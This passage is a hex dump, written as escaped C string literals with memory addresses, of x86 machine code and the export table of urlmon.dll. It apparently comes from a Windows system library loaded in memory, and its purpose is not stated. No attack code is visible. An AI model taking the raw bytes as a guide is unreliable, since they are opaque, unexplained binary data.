\"\\x2C\\x3B\\xC7\\x0F\\x85\\x1A\\x57\\x02\\x00\\x8B\\x46\\x34\\x3B\\xC7\\x0F\\x85\" // ,;Ç\u000f\u001aW\u0002.F4;Ç\u000f\n/* 7DF21BC0  */ \"\\x1B\\x57\\x02\\x00\\x8B\\x46\\x3C\\x3B\\xC7\\x0F\\x85\\x1C\\x57\\x02\\x00\\x8B\" // \u001bW\u0002.F<;Ç\u000f\u001cW\u0002.\n/* 7DF21BD0  */ \"\\x46\\x44\\x3B\\xC7\\x0F\\x85\\x1D\\x57\\x02\\x00\\x8B\\x46\\x48\\x3B\\xC7\\x0F\" // FD;Ç\u000f\u001dW\u0002.FH;Ç\u000f\n/* 7DF21BE0  */ \"\\x85\\x1E\\x57\\x02\\x00\\x8B\\x46\\x54\\x3D\\x00\\x31\\xF9\\x7D\\x0F\\x85\\x1C\" // \u001eW\u0002.FT=.1ù}\u000f\u001c\n/* 7DF21BF0  */ \"\\x57\\x02\\x00\\x6A\\x0D\\xE8\\xE3\\x00\\x00\\x00\\x59\\x89\\x7D\\xFC\\x8B\\x46\" // W\u0002.j.èã...Y}üF\n/* 7DF21C00  */ \"\\x60\\x89\\x45\\xE4\\x3B\\xC7\\x0F\\x85\\x0F\\x57\\x02\\x00\\x83\\x4D\\xFC\\xFF\" // `Eä;Ç\u000f\u000fW\u0002.Müÿ\n/* 7DF21C10  */ \"\\xE8\\x28\\x01\\x00\\x00\\x6A\\x0C\\xE8\\xC1\\x00\\x00\\x00\\x59\\xC7\\x45\\xFC\" // è(\u0001..j.èÁ...YÇEü\n/* 7DF21C20  */ \"\\x01\\x00\\x00\\x00\\x8B\\x46\\x64\\x89\\x45\\xE0\\x3B\\xC7\\x0F\\x85\\x09\\x57\" // \u0001...FdEà;Ç\u000f.W\n/* 7DF21C30  */ \"\\x02\\x00\\x83\\x4D\\xFC\\xFF\\xE8\\x10\\x01\\x00\\x00\\x56\\xE8\\x34\\x00\\x00\" // \u0002.Müÿè\u0010\u0001..Vè4..\n/* 7DF21C40  */ \"\\x00\\x59\\x57\\xFF\\x35\\xC0\\x2A\\xF9\\x7D\\xFF\\x15\\x1C\\x12\\xF2\\x7D\\xE8\" // .YWÿ5À*ù}ÿ\u0015\u001c\u0012ò}è\n/* 7DF21C50  */ \"\\x70\\xFA\\xFF\\xFF\\xC3\\x90\\x90\\x90\\xFF\\xFF\\xFF\\xFF\\x00\\x00\\x00\\x00\" // púÿÿÃÿÿÿÿ....\n/* 7DF21C60  */ \"\\x9E\\x73\\xF4\\x7D\\xFF\\xFF\\xFF\\xFF\\x00\\x00\\x00\\x00\\xAD\\x73\\xF4\\x7D\" // sô}ÿÿÿÿ....­sô}\n/* 7DF21C70  */ \"\\x90\\x90\\x90\\x90\\x90\\x6A\\x0C\\x68\\xB0\\x1C\\xF2\\x7D\\xE8\\x08\\xFA\\xFF\" // j.h°\u001cò}è\búÿ\n/* 7DF21C80  */ \"\\xFF\\x8B\\x75\\x08\\x85\\xF6\\x74\\x1C\\x83\\x3D\\x8C\\x29\\xF9\\x7D\\x03\\x0F\" // ÿu\böt\u001c=)ù}\u0003\u000f\n/* 7DF21C90  */ \"\\x84\\x2E\\x57\\x02\\x00\\x56\\x6A\\x00\\xFF\\x35\\xD0\\x2A\\xF9\\x7D\\xFF\\x15\" // .W\u0002.Vj.ÿ5Ð*ù}ÿ\u0015\n/* 7DF21CA0  */ \"\\xE4\\x11\\xF2\\x7D\\xE8\\x1B\\xFA\\xFF\\xFF\\xC3\\x90\\x90\\x90\\x90\\x90\\x90\" // ä\u0011ò}è\u001búÿÿÃ\n/* 7DF21CB0  */ \"\\xFF\\xFF\\xFF\\xFF\\x00\\x00\\x00\\x00\\x06\\x74\\xF4\\x7D\\x90\\x90\\x90\\x90\" // ÿÿÿÿ....\u0006tô}\n/* 7DF21CC0  */ \"\\x90\\x8B\\xFF\\x55\\x8B\\xEC\\x8B\\x45\\x08\\xFF\\x34\\xC5\\xE8\\x31\\xF9\\x7D\" // ÿUìE\bÿ4Åè1ù}\n/* 7DF21CD0  */ \"\\xFF\\x15\\x48\\x12\\xF2\\x7D\\x5D\\xC3\\x90\\x90\\x90\\x90\\x90\\x8B\\xFF\\x55\" // ÿ\u0015H\u0012ò}]ÃÿU\n/* 7DF21CE0  */ \"\\x8B\\xEC\\x8B\\x45\\x08\\x56\\x8D\\x34\\xC5\\xE8\\x31\\xF9\\x7D\\x83\\x3E\\x00\" // ìE\bV4Åè1ù}>.\n/* 7DF21CF0  */ \"\\x0F\\x84\\xB9\\x5B\\x02\\x00\\xFF\\x36\\xFF\\x15\\x4C\\x12\\xF2\\x7D\\x5E\\x5D\" // \u000f¹[\u0002.ÿ6ÿ\u0015L\u0012ò}^]\n/* 7DF21D00  */ \"\\xC3\\x90\\x90\\x90\\x90\\x90\\x8B\\xFF\\x55\\x8B\\xEC\\x51\\x56\\x68\\xCC\\x31\" // ÃÿUìQVhÌ1\n/* 7DF21D10  */ \"\\xF9\\x7D\\x8D\\x4D\\xFC\\xE8\\xC0\\xF9\\xFF\\xFF\\x8B\\x35\\x5C\\x29\\xF9\\x7D\" // ù}MüèÀùÿÿ5\\)ù}\n/* 7DF21D20  */ \"\\x85\\xF6\\x0F\\x85\\x50\\xAE\\x00\\x00\\xFF\\x75\\xFC\\xFF\\x15\\x48\\x12\\xF2\" // ö\u000fP®..ÿuüÿ\u0015H\u0012ò\n/* 7DF21D30  */ \"\\x7D\\x8B\\xC6\\x5E\\xC9\\xC2\\x04\\x00\\x90\\x90\\x90\\x90\\x90\\x6A\\x0D\\xE8\" // }Æ^ÉÂ\u0004.j.è\n/* 7DF21D40  */ \"\\x7D\\xFF\\xFF\\xFF\\x59\\xC3\\x90\\x90\\x90\\x90\\x90\\x6A\\x0C\\xE8\\x6F\\xFF\" // }ÿÿÿYÃj.èoÿ\n/* 7DF21D50  */ \"\\xFF\\xFF\\x59\\xC3\\x00\\x00\\x00\\x00\\x12\\x7E\\xB8\\x45\\x00\\x00\\x00\\x00\" // ÿÿYÃ....\u0012~¸E....\n/* 7DF21D60  */ \"\\xDC\\x20\\x00\\x00\\x64\\x00\\x00\\x00\\x57\\x00\\x00\\x00\\x56\\x00\\x00\\x00\" // Ü ..d...W...V...\n/* 7DF21D70  */ \"\\x7C\\x1D\\x00\\x00\\xD8\\x1E\\x00\\x00\\x30\\x20\\x00\\x00\\xF1\\xEB\\x05\\x00\" // |\u001d..Ø\u001e..0 ..ñë\u0005.\n/* 7DF21D80  */ \"\\x95\\xDF\\x03\\x00\\x19\\xDA\\x03\\x00\\xCF\\xC9\\x02\\x00\\xA5\\xE4\\x03\\x00\" // ß\u0003.\u0019Ú\u0003.ÏÉ\u0002.¥ä\u0003.\n/* 7DF21D90  */ \"\\xD0\\xE4\\x03\\x00\\xF3\\xDB\\x03\\x00\\x47\\xC7\\x03\\x00\\x59\\x64\\x01\\x00\" // Ðä\u0003.óÛ\u0003.GÇ\u0003.Yd\u0001.\n/* 7DF21DA0  */ \"\\x3F\\xE8\\x02\\x00\\xE7\\x30\\x00\\x00\\xE7\\x9B\\x00\\x00\\xEF\\xDF\\x05\\x00\" // ?è\u0002.ç0..ç..ïß\u0005.\n/* 7DF21DB0  */ \"\\x4C\\x4F\\x05\\x00\\x5E\\x45\\x00\\x00\\x90\\xCB\\x00\\x00\\xC0\\x27\\x00\\x00\" // LO\u0005.^E..Ë..À'..\n/* 7DF21DC0  */ \"\\x5E\\xBB\\x00\\x00\\x8F\\xF4\\x02\\x00\\xAC\\xCE\\x00\\x00\\xEF\\x5D\\x01\\x00\" // ^»..ô\u0002.¬Î..ï]\u0001.\n/* 7DF21DD0  */ \"\\xED\\xF5\\x02\\x00\\xD0\\x3B\\x03\\x00\\xB3\\x6B\\x01\\x00\\xE4\\x07\\x01\\x00\" // íõ\u0002.Ð;\u0003.³k\u0001.ä\u0007\u0001.\n/* 7DF21DE0  */ \"\\xA7\\x08\\x01\\x00\\x24\\x9C\\x01\\x00\\x58\\x5D\\x01\\x00\\x53\\x83\\x01\\x00\" // §\b\u0001.$\u0001.X]\u0001.S\u0001.\n/* 7DF21DF0  */ \"\\x81\\xD3\\x00\\x00\\x9F\\xD3\\x00\\x00\\xEC\\x2E\\x00\\x00\\x42\\x60\\x00\\x00\" // Ó..Ó..ì...B`..\n/* 7DF21E00  */ \"\\x5C\\xCE\\x02\\x00\\x45\\xCB\\x02\\x00\\x51\\xCE\\x02\\x00\\xDD\\xCC\\x02\\x00\" // \\Î\u0002.EË\u0002.QÎ\u0002.ÝÌ\u0002.\n/* 7DF21E10  */ \"\\xC5\\xEA\\x03\\x00\\x48\\x76\\x01\\x00\\xEB\\x2A\\x01\\x00\\xD9\\x82\\x01\\x00\" // Åê\u0003.Hv\u0001.ë*\u0001.Ù\u0001.\n/* 7DF21E20  */ \"\\x10\\xE8\\x02\\x00\\xD3\\xEE\\x02\\x00\\xFD\\x69\\x03\\x00\\xDF\\xF2\\x03\\x00\" // \u0010è\u0002.Óî\u0002.ýi\u0003.ßò\u0003.\n/* 7DF21E30  */ \"\\xDD\\xF3\\x05\\x00\\x4A\\x3A\\x04\\x00\\x7C\\x92\\x05\\x00\\xFA\\x92\\x05\\x00\" // Ýó\u0005.J:\u0004.|\u0005.ú\u0005.\n/* 7DF21E40  */ \"\\x99\\x9B\\x05\\x00\\x1D\\x9C\\x05\\x00\\x41\\x96\\x05\\x00\\xBA\\x9B\\x05\\x00\" // \u0005.\u001d\u0005.A\u0005.º\u0005.\n/* 7DF21E50  */ \"\\x6E\\xCF\\x02\\x00\\x24\\x53\\x01\\x00\\x69\\xF2\\x03\\x00\\x42\\xB4\\x05\\x00\" // nÏ\u0002.$S\u0001.iò\u0003.B´\u0005.\n/* 7DF21E60  */ \"\\x63\\xB5\\x05\\x00\\x0A\\x96\\x01\\x00\\x34\\xC8\\x02\\x00\\x2E\\x40\\x03\\x00\" // cµ\u0005..\u0001.4È\u0002..@\u0003.\n/* 7DF21E70  */ \"\\x11\\xDB\\x03\\x00\\x6F\\x5B\\x01\\x00\\xE6\\x5B\\x01\\x00\\x72\\xC7\\x02\\x00\" // \u0011Û\u0003.o[\u0001.æ[\u0001.rÇ\u0002.\n/* 7DF21E80  */ \"\\x1A\\xC7\\x02\\x00\\xB7\\xD7\\x00\\x00\\x5E\\x5A\\x01\\x00\\x0F\\xC8\\x02\\x00\" // \u001aÇ\u0002.·×..^Z\u0001.\u000fÈ\u0002.\n/* 7DF21E90  */ \"\\xAE\\x3A\\x04\\x00\\xDD\\xF0\\x02\\x00\\xC1\\xB1\\x05\\x00\\xA4\\xAD\\x05\\x00\" // ®:\u0004.Ýð\u0002.Á±\u0005.¤­\u0005.\n/* 7DF21EA0  */ \"\\xBB\\xB0\\x05\\x00\\x3E\\xAD\\x05\\x00\\x6E\\xE6\\x02\\x00\\x05\\xB3\\x05\\x00\" // »°\u0005.>­\u0005.næ\u0002.\u0005³\u0005.\n/* 7DF21EB0  */ \"\\x4D\\xAF\\x05\\x00\\x24\\xB0\\x05\\x00\\xF4\\xAC\\x05\\x00\\xAB\\xB3\\x05\\x00\" // M¯\u0005.$°\u0005.ô¬\u0005.«³\u0005.\n/* 7DF21EC0  */ \"\\xDA\\xAF\\x05\\x00\\x6C\\xCE\\x02\\x00\\xA9\\x49\\x01\\x00\\xEF\\xE4\\x02\\x00\" // Ú¯\u0005.lÎ\u0002.©I\u0001.ïä\u0002.\n/* 7DF21ED0  */ \"\\xAA\\xB4\\x05\\x00\\x8C\\xF3\\x05\\x00\\xE7\\x20\\x00\\x00\\xF9\\x20\\x00\\x00\" // ª´\u0005.ó\u0005.ç ..ù ..\n/* 7DF21EE0  */ \"\\x16\\x21\\x00\\x00\\x27\\x21\\x00\\x00\\x3B\\x21\\x00\\x00\\x4F\\x21\\x00\\x00\" // \u0016!..'!..;!..O!..\n/* 7DF21EF0  */ \"\\x67\\x21\\x00\\x00\\x71\\x21\\x00\\x00\\x86\\x21\\x00\\x00\\x9B\\x21\\x00\\x00\" // g!..q!..!..!..\n/* 7DF21F00  */ \"\\xBB\\x21\\x00\\x00\\xD7\\x21\\x00\\x00\\xF8\\x21\\x00\\x00\\x13\\x22\\x00\\x00\" // »!..×!..ø!..\u0013\"..\n/* 7DF21F10  */ \"\\x2C\\x22\\x00\\x00\\x41\\x22\\x00\\x00\\x5C\\x22\\x00\\x00\\x7D\\x22\\x00\\x00\" // ,\"..A\"..\\\"..}\"..\n/* 7DF21F20  */ \"\\xA5\\x22\\x00\\x00\\xB8\\x22\\x00\\x00\\xCC\\x22\\x00\\x00\\xE8\\x22\\x00\\x00\" // ¥\"..¸\"..Ì\"..è\"..\n/* 7DF21F30  */ \"\\xFB\\x22\\x00\\x00\\x10\\x23\\x00\\x00\\x1D\\x23\\x00\\x00\\x2B\\x23\\x00\\x00\" // û\"..\u0010#..\u001d#..+#..\n/* 7DF21F40  */ \"\\x3E\\x23\\x00\\x00\\x53\\x23\\x00\\x00\\x6A\\x23\\x00\\x00\\x7B\\x23\\x00\\x00\" // >#..S#..j#..{#..\n/* 7DF21F50  */ \"\\x8E\\x23\\x00\\x00\\x9E\\x23\\x00\\x00\\xB0\\x23\\x00\\x00\\xBB\\x23\\x00\\x00\" // #..#..°#..»#..\n/* 7DF21F60  */ \"\\xCD\\x23\\x00\\x00\\xE1\\x23\\x00\\x00\\xF5\\x23\\x00\\x00\\xFD\\x23\\x00\\x00\" // Í#..á#..õ#..ý#..\n/* 7DF21F70  */ \"\\x0E\\x24\\x00\\x00\\x1C\\x24\\x00\\x00\\x2F\\x24\\x00\\x00\\x40\\x24\\x00\\x00\" // \u000e$..\u001c$../$..@$..\n/* 7DF21F80  */ \"\\x53\\x24\\x00\\x00\\x5F\\x24\\x00\\x00\\x79\\x24\\x00\\x00\\x89\\x24\\x00\\x00\" // S$.._$..y$..$..\n/* 7DF21F90  */ \"\\x9F\\x24\\x00\\x00\\xAB\\x24\\x00\\x00\\xBA\\x24\\x00\\x00\\xCF\\x24\\x00\\x00\" // $..«$..º$..Ï$..\n/* 7DF21FA0  */ \"\\xE3\\x24\\x00\\x00\\x00\\x25\\x00\\x00\\x1C\\x25\\x00\\x00\\x29\\x25\\x00\\x00\" // ã$...%..\u001c%..)%..\n/* 7DF21FB0  */ \"\\x38\\x25\\x00\\x00\\x48\\x25\\x00\\x00\\x5A\\x25\\x00\\x00\\x6C\\x25\\x00\\x00\" // 8%..H%..Z%..l%..\n/* 7DF21FC0  */ \"\\x77\\x25\\x00\\x00\\x8C\\x25\\x00\\x00\\xA2\\x25\\x00\\x00\\xB3\\x25\\x00\\x00\" // w%..%..¢%..³%..\n/* 7DF21FD0  */ \"\\xCE\\x25\\x00\\x00\\xE7\\x25\\x00\\x00\\xFE\\x25\\x00\\x00\\x11\\x26\\x00\\x00\" // Î%..ç%..þ%..\u0011&..\n/* 7DF21FE0  */ \"\\x21\\x26\\x00\\x00\\x3A\\x26\\x00\\x00\\x51\\x26\\x00\\x00\\x75\\x26\\x00\\x00\" // !&..:&..Q&..u&..\n/* 7DF21FF0  */ \"\\x82\\x26\\x00\\x00\\x9A\\x26\\x00\\x00\\xB2\\x26\\x00\\x00\\xC5\\x26\\x00\\x00\" // &..&..²&..Å&..\n/* 7DF22000  */ \"\\xD8\\x26\\x00\\x00\\xE5\\x26\\x00\\x00\\xFC\\x26\\x00\\x00\\x13\\x27\\x00\\x00\" // Ø&..å&..ü&..\u0013'..\n/* 7DF22010  */ \"\\x26\\x27\\x00\\x00\\x39\\x27\\x00\\x00\\x48\\x27\\x00\\x00\\x57\\x27\\x00\\x00\" // &'..9'..H'..W'..\n/* 7DF22020  */ \"\\x69\\x27\\x00\\x00\\x7F\\x27\\x00\\x00\\x95\\x27\\x00\\x00\\xA5\\x27\\x00\\x00\" // i'..'..'..¥'..\n/* 7DF22030  */ \"\\x01\\x00\\x02\\x00\\x03\\x00\\x04\\x00\\x05\\x00\\x06\\x00\\x07\\x00\\x08\\x00\" // \u0001.\u0002.\u0003.\u0004.\u0005.\u0006.\u0007.\b.\n/* 7DF22040  */ \"\\x09\\x00\\x0A\\x00\\x0B\\x00\\x0C\\x00\\x0D\\x00\\x0E\\x00\\x0F\\x00\\x10\\x00\" // ....\u000b.....\u000e.\u000f.\u0010.\n/* 7DF22050  */ \"\\x11\\x00\\x12\\x00\\x13\\x00\\x14\\x00\\x15\\x00\\x16\\x00\\x17\\x00\\x18\\x00\" // \u0011.\u0012.\u0013.\u0014.\u0015.\u0016.\u0017.\u0018.\n/* 7DF22060  */ \"\\x19\\x00\\x1A\\x00\\x1B\\x00\\x1C\\x00\\x1D\\x00\\x1E\\x00\\x1F\\x00\\x20\\x00\" // \u0019.\u001a.\u001b.\u001c.\u001d.\u001e.\u001f. .\n/* 7DF22070  */ \"\\x21\\x00\\x22\\x00\\x23\\x00\\x24\\x00\\x25\\x00\\x26\\x00\\x27\\x00\\x28\\x00\" // !.\".#.$.%.&.'.(.\n/* 7DF22080  */ \"\\x29\\x00\\x2A\\x00\\x2B\\x00\\x2C\\x00\\x2D\\x00\\x2E\\x00\\x2F\\x00\\x30\\x00\" // ).*.+.,.-.../.0.\n/* 7DF22090  */ \"\\x31\\x00\\x32\\x00\\x33\\x00\\x34\\x00\\x35\\x00\\x36\\x00\\x37\\x00\\x38\\x00\" // 1.2.3.4.5.6.7.8.\n/* 7DF220A0  */ \"\\x39\\x00\\x3A\\x00\\x3B\\x00\\x3C\\x00\\x3D\\x00\\x3E\\x00\\x3F\\x00\\x40\\x00\" // 9.:.;.<.=.>.?.@.\n/* 7DF220B0  */ \"\\x41\\x00\\x42\\x00\\x43\\x00\\x44\\x00\\x45\\x00\\x46\\x00\\x47\\x00\\x48\\x00\" // A.B.C.D.E.F.G.H.\n/* 7DF220C0  */ \"\\x49\\x00\\x4A\\x00\\x4B\\x00\\x4C\\x00\\x4D\\x00\\x4E\\x00\\x4F\\x00\\x50\\x00\" // I.J.K.L.M.N.O.P.\n/* 7DF220D0  */ \"\\x51\\x00\\x52\\x00\\x53\\x00\\x54\\x00\\x55\\x00\\x56\\x00\\x75\\x72\\x6C\\x6D\" // Q.R.S.T.U.V.urlm\n/* 7DF220E0  */ \"\\x6F\\x6E\\x2E\\x64\\x6C\\x6C\\x00\\x41\\x73\\x79\\x6E\\x63\\x47\\x65\\x74\\x43\" // on.dll.AsyncGetC\n/* 7DF220F0  */ \"\\x6C\\x61\\x73\\x73\\x42\\x69\\x74\\x73\\x00\\x41\\x73\\x79\\x6E\\x63\\x49\\x6E\" // lassBits.AsyncIn\n/* 7DF22100  */ \"\\x73\\x74\\x61\\x6C\\x6C\\x44\\x69\\x73\\x74\\x72\\x69\\x62\\x75\\x74\\x69\\x6F\" // stallDistributio\n/* 7DF22110  */ \"\\x6E\\x55\\x6E\\x69\\x74\\x00\\x42\\x69\\x6E\\x64\\x41\\x73\\x79\\x6E\\x63\\x4D\" // nUnit.BindAsyncM\n/* 7DF22120  */ \"\\x6F\\x6E\\x69\\x6B\\x65\\x72\\x00\\x43\\x44\\x4C\\x47\\x65\\x74\\x4C\\x6F\\x6E\" // oniker.CDLGetLon\n/* 7DF22130  */ \"\\x67\\x50\\x61\\x74\\x68\\x4E\\x61\\x6D\\x65\\x41\\x00\\x43\\x44\\x4C\\x47\\x65\" // gPathNameA.CDLGe\n/* 7DF22140  */ \"\\x74\\x4C\\x6F\\x6E\\x67\\x50\\x61\\x74\\x68\\x4E\\x61\\x6D\\x65\\x57\\x00\\x43\" // tLongPathNameW.C\n/* 7DF22150  */ \"\\x6F\\x47\\x65\\x74\\x43\\x6C\\x61\\x73\\x73\\x4F\\x62\\x6A\\x65\\x63\\x74\\x46\" // oGetClassObjectF\n/* 7DF22160  */ \"\\x72\\x6F\\x6D\\x55\\x52\\x4C\\x00\\x43\\x6F\\x49\\x6E\\x73\\x74\\x61\\x6C\\x6C\" // romURL.CoInstall\n/* 7DF22170  */ \"\\x00\\x43\\x6F\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x43\\x6F\\x6D\\x62\\x69\" // .CoInternetCombi\n/* 7DF22180  */ \"\\x6E\\x65\\x55\\x72\\x6C\\x00\\x43\\x6F\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\" // neUrl.CoInternet\n/* 7DF22190  */ \"\\x43\\x6F\\x6D\\x70\\x61\\x72\\x65\\x55\\x72\\x6C\\x00\\x43\\x6F\\x49\\x6E\\x74\" // CompareUrl.CoInt\n/* 7DF221A0  */ \"\\x65\\x72\\x6E\\x65\\x74\\x43\\x72\\x65\\x61\\x74\\x65\\x53\\x65\\x63\\x75\\x72\" // ernetCreateSecur\n/* 7DF221B0  */ \"\\x69\\x74\\x79\\x4D\\x61\\x6E\\x61\\x67\\x65\\x72\\x00\\x43\\x6F\\x49\\x6E\\x74\" // ityManager.CoInt\n/* 7DF221C0  */ \"\\x65\\x72\\x6E\\x65\\x74\\x43\\x72\\x65\\x61\\x74\\x65\\x5A\\x6F\\x6E\\x65\\x4D\" // ernetCreateZoneM\n/* 7DF221D0  */ \"\\x61\\x6E\\x61\\x67\\x65\\x72\\x00\\x43\\x6F\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\" // anager.CoInterne\n/* 7DF221E0  */ \"\\x74\\x46\\x65\\x61\\x74\\x75\\x72\\x65\\x53\\x65\\x74\\x74\\x69\\x6E\\x67\\x73\" // tFeatureSettings\n/* 7DF221F0  */ \"\\x43\\x68\\x61\\x6E\\x67\\x65\\x64\\x00\\x43\\x6F\\x49\\x6E\\x74\\x65\\x72\\x6E\" // Changed.CoIntern\n/* 7DF22200  */ \"\\x65\\x74\\x47\\x65\\x74\\x50\\x72\\x6F\\x74\\x6F\\x63\\x6F\\x6C\\x46\\x6C\\x61\" // etGetProtocolFla\n/* 7DF22210  */ \"\\x67\\x73\\x00\\x43\\x6F\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x47\\x65\\x74\" // gs.CoInternetGet\n/* 7DF22220  */ \"\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x55\\x72\\x6C\\x00\\x43\\x6F\\x49\\x6E\" // SecurityUrl.CoIn\n/* 7DF22230  */ \"\\x74\\x65\\x72\\x6E\\x65\\x74\\x47\\x65\\x74\\x53\\x65\\x73\\x73\\x69\\x6F\\x6E\" // ternetGetSession\n/* 7DF22240  */ \"\\x00\\x43\\x6F\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x49\\x73\\x46\\x65\\x61\" // .CoInternetIsFea\n/* 7DF22250  */ \"\\x74\\x75\\x72\\x65\\x45\\x6E\\x61\\x62\\x6C\\x65\\x64\\x00\\x43\\x6F\\x49\\x6E\" // tureEnabled.CoIn\n/* 7DF22260  */ \"\\x74\\x65\\x72\\x6E\\x65\\x74\\x49\\x73\\x46\\x65\\x61\\x74\\x75\\x72\\x65\\x45\" // ternetIsFeatureE\n/* 7DF22270  */ \"\\x6E\\x61\\x62\\x6C\\x65\\x64\\x46\\x6F\\x72\\x55\\x72\\x6C\\x00\\x43\\x6F\\x49\" // nabledForUrl.CoI\n/* 7DF22280  */ \"\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x49\\x73\\x46\\x65\\x61\\x74\\x75\\x72\\x65\" // nternetIsFeature\n/* 7DF22290  */ \"\\x5A\\x6F\\x6E\\x65\\x45\\x6C\\x65\\x76\\x61\\x74\\x69\\x6F\\x6E\\x45\\x6E\\x61\" // ZoneElevationEna\n/* 7DF222A0  */ \"\\x62\\x6C\\x65\\x64\\x00\\x43\\x6F\\x49\\x6E\\x74\\x65\\x72\\x6E\\x65\\x74\\x50\" // bled.CoInternetP\n/* 7DF222B0  */ \"\\x61\\x72\\x73\\x65\\x55\\x72\\x6C\\x00\\x43\\x6F\\x49\\x6E\\x74\\x65\\x72\\x6E\" // arseUrl.CoIntern\n/* 7DF222C0  */ \"\\x65\\x74\\x51\\x75\\x65\\x72\\x79\\x49\\x6E\\x66\\x6F\\x00\\x43\\x6F\\x49\\x6E\" // etQueryInfo.CoIn\n/* 7DF222D0  */ \"\\x74\\x65\\x72\\x6E\\x65\\x74\\x53\\x65\\x74\\x46\\x65\\x61\\x74\\x75\\x72\\x65\" // ternetSetFeature\n/* 7DF222E0  */ \"\\x45\\x6E\\x61\\x62\\x6C\\x65\\x64\\x00\\x43\\x6F\\x6D\\x70\\x61\\x72\\x65\\x53\" // Enabled.CompareS\n/* 7DF222F0  */ \"\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x49\\x64\\x73\\x00\\x43\\x6F\\x6D\\x70\\x61\" // ecurityIds.Compa\n/* 7DF22300  */ \"\\x74\\x46\\x6C\\x61\\x67\\x73\\x46\\x72\\x6F\\x6D\\x43\\x6C\\x73\\x69\\x64\\x00\" // tFlagsFromClsid.\n/* 7DF22310  */ \"\\x43\\x6F\\x70\\x79\\x42\\x69\\x6E\\x64\\x49\\x6E\\x66\\x6F\\x00\\x43\\x6F\\x70\" // CopyBindInfo.Cop\n/* 7DF22320  */ \"\\x79\\x53\\x74\\x67\\x4D\\x65\\x64\\x69\\x75\\x6D\\x00\\x43\\x72\\x65\\x61\\x74\" // yStgMedium.Creat\n/* 7DF22330  */ \"\\x65\\x41\\x73\\x79\\x6E\\x63\\x42\\x69\\x6E\\x64\\x43\\x74\\x78\\x00\\x43\\x72\" // eAsyncBindCtx.Cr\n/* 7DF22340  */ \"\\x65\\x61\\x74\\x65\\x41\\x73\\x79\\x6E\\x63\\x42\\x69\\x6E\\x64\\x43\\x74\\x78\" // eateAsyncBindCtx\n/* 7DF22350  */ \"\\x45\\x78\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x46\\x6F\\x72\\x6D\\x61\\x74\\x45\" // Ex.CreateFormatE\n/* 7DF22360  */ \"\\x6E\\x75\\x6D\\x65\\x72\\x61\\x74\\x6F\\x72\\x00\\x43\\x72\\x65\\x61\\x74\\x65\" // numerator.Create\n/* 7DF22370  */ \"\\x55\\x52\\x4C\\x4D\\x6F\\x6E\\x69\\x6B\\x65\\x72\\x00\\x43\\x72\\x65\\x61\\x74\" // URLMoniker.Creat\n/* 7DF22380  */ \"\\x65\\x55\\x52\\x4C\\x4D\\x6F\\x6E\\x69\\x6B\\x65\\x72\\x45\\x78\\x00\\x44\\x6C\" // eURLMonikerEx.Dl\n/* 7DF22390  */ \"\\x6C\\x43\\x61\\x6E\\x55\\x6E\\x6C\\x6F\\x61\\x64\\x4E\\x6F\\x77\\x00\\x44\\x6C\" // lCanUnloadNow.Dl\n/* 7DF223A0  */ \"\\x6C\\x47\\x65\\x74\\x43\\x6C\\x61\\x73\\x73\\x4F\\x62\\x6A\\x65\\x63\\x74\\x00\" // lGetClassObject.\n/* 7DF223B0  */ \"\\x44\\x6C\\x6C\\x49\\x6E\\x73\\x74\\x61\\x6C\\x6C\\x00\\x44\\x6C\\x6C\\x52\\x65\" // DllInstall.DllRe\n/* 7DF223C0  */ \"\\x67\\x69\\x73\\x74\\x65\\x72\\x53\\x65\\x72\\x76\\x65\\x72\\x00\\x44\\x6C\\x6C\" // gisterServer.Dll\n/* 7DF223D0  */ \"\\x52\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x53\\x65\\x72\\x76\\x65\\x72\\x45\\x78\" // RegisterServerEx\n/* 7DF223E0  */ \"\\x00\\x44\\x6C\\x6C\\x55\\x6E\\x72\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x53\\x65\" // .DllUnregisterSe\n/* 7DF223F0  */ \"\\x72\\x76\\x65\\x72\\x00\\x45\\x78\\x74\\x72\\x61\\x63\\x74\\x00\\x46\\x61\\x75\" // rver.Extract.Fau\n/* 7DF22400  */ \"\\x6C\\x74\\x49\\x6E\\x49\\x45\\x46\\x65\\x61\\x74\\x75\\x72\\x65\\x00\\x46\\x69\" // ltInIEFeature.Fi\n/* 7DF22410  */ \"\\x6E\\x64\\x4D\\x65\\x64\\x69\\x61\\x54\\x79\\x70\\x65\\x00\\x46\\x69\\x6E\\x64\" // ndMediaType.Find\n/* 7DF22420  */ \"\\x4D\\x65\\x64\\x69\\x61\\x54\\x79\\x70\\x65\\x43\\x6C\\x61\\x73\\x73\\x00\\x46\" // MediaTypeClass.F\n/* 7DF22430  */ \"\\x69\\x6E\\x64\\x4D\\x69\\x6D\\x65\\x46\\x72\\x6F\\x6D\\x44\\x61\\x74\\x61\\x00\" // indMimeFromData.\n/* 7DF22440  */ \"\\x47\\x65\\x74\\x43\\x6C\\x61\\x73\\x73\\x46\\x69\\x6C\\x65\\x4F\\x72\\x4D\\x69\" // GetClassFileOrMi\n/* 7DF22450  */ \"\\x6D\\x65\\x00\\x47\\x65\\x74\\x43\\x6C\\x61\\x73\\x73\\x55\\x52\\x4C\\x00\\x47\" // me.GetClassURL.G\n/* 7DF22460  */ \"\\x65\\x74\\x43\\x6F\\x6D\\x70\\x6F\\x6E\\x65\\x6E\\x74\\x49\\x44\\x46\\x72\\x6F\" // etComponentIDFro\n/* 7DF22470  */ \"\\x6D\\x43\\x4C\\x53\\x53\\x50\\x45\\x43\\x00\\x47\\x65\\x74\\x4D\\x61\\x72\\x6B\" // mCLSSPEC.GetMark\n/* 7DF22480  */ \"\\x4F\\x66\\x54\\x68\\x65\\x57\\x65\\x62\\x00\\x47\\x65\\x74\\x53\\x6F\\x66\\x74\" // OfTheWeb.GetSoft\n/* 7DF22490  */ \"\\x77\\x61\\x72\\x65\\x55\\x70\\x64\\x61\\x74\\x65\\x49\\x6E\\x66\\x6F\\x00\\x48\" // wareUpdateInfo.H\n/* 7DF224A0  */ 